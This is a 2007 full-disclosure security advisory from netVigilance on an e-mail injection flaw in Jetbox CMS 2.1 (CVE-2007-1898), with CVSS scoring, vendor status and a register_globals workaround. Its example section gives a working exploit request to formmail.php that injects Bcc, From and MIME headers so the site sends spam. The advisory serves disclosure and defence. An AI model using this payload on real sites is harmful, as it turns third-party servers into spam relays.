full-disclosure - Jetbox CMS version 2.1 E-Mail Injection Vulnerability

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Date: Tue, 15 May 2007 09:33:06 -0700
From: "SecurityResearch" <securityresearch@...vigilance.com>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Jetbox CMS version 2.1 E-Mail Injection
	Vulnerability

netVigilance Security Advisory #26
Jetbox CMS version 2.1 E-Mail Injection Vulnerability
Description:
Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.
Security problems in the product allow attackers to send any spam e-mails using mail form of target site.
External References: 
Mitre CVE: CVE-2007-1898
NVD NIST: CVE-2007-1898
OSVDB: 34088
Summary: 
Jetbox content management system has a professional intuitive interface. 
Successful exploitation requires PHP register_globals set to On on the server.
Advisory URL: 
http://www.netvigilance.com/advisory0026
Release Date:
05/15/2007 
Severity:
Risk: Medium

CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Normal
CVSS Base Score: 3.7

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: E-mail injection.
SecureScout Testcase ID:
Vulnerable Systems:
Jetbox version 2.1
Vulnerability Type:
Email Injections using to send anonymous emails to other recipients.
Vendor:
Streamedge Consultancy & Development
Vendor Status: 
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory
Workaround:
In the php.ini file set register_globals to Off.
Example: 
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@...edomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc:  spam_address2@...edomain.com, spam_address2@...edomain.com, spam_address4@...edomain.com, spam_addressN@...edomain.com%0AFrom: any_address@...edomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--  Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:  attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
REPLY:
Spam will be sent from the target site
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com

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